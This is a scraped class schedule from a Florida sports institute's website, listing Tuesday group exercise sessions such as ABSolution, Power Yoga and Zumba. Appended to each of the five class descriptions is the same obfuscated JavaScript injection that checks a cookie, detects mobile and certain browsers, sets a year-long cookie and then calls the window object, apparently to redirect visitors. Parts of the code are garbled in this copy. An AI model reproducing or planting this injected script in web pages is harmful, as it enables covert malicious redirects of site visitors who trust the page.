Group Exercise Classes

The USI group exercise program includes TRADITIONAL & SPECIALIZED classes.

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Events for October 29, 2019

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8:00 am

ABSolution – Carrie

October 29, 2019 @ 8:00 am - 8:30 am
|Recurring Event (See all)

An event every week that begins at 8:00am on Tuesday, repeating until September 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

a 30 minute quick and effective abdominal workout full of innovative exercises designed to provide core stability and strength.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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8:30 am

Ultimate Definition – Carrie

October 29, 2019 @ 8:30 am - 9:30 am
|Recurring Event (See all)

An event every week that begins at 8:30am on Tuesday, repeating until October 6, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your muscular strength and endurance by utilizing free weights, body bars and other equipment.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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9:30 am

Power Yoga – Cindy

October 29, 2019 @ 9:30 am - 10:45 am
|Recurring Event (See all)

An event every week that begins at 9:30am on Tuesday, repeating until January 23, 2024

A dynamic and challenging Vinyasa class with a strong emphasis on core and upper body strength. var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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5:30 pm

Ultimate Definition – German

October 29, 2019 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Tuesday, repeating until October 6, 2020

This is an intense full body workout that will improve your muscular strength and endurance by utilizing free weights, body bars and other equipment.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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6:30 pm

Zumba – Jean

October 29, 2019 @ 6:30 pm - 7:30 pm
|Recurring Event (See all)

An event every week that begins at 6:30pm on Tuesday, repeating until October 6, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

Join the party! A hi-low impact class with Latin Style. Learn Salsa, Samba, Merengue and more while getting a great workout!var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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It is encouraged to bring a water bottle, towel and heart monitors..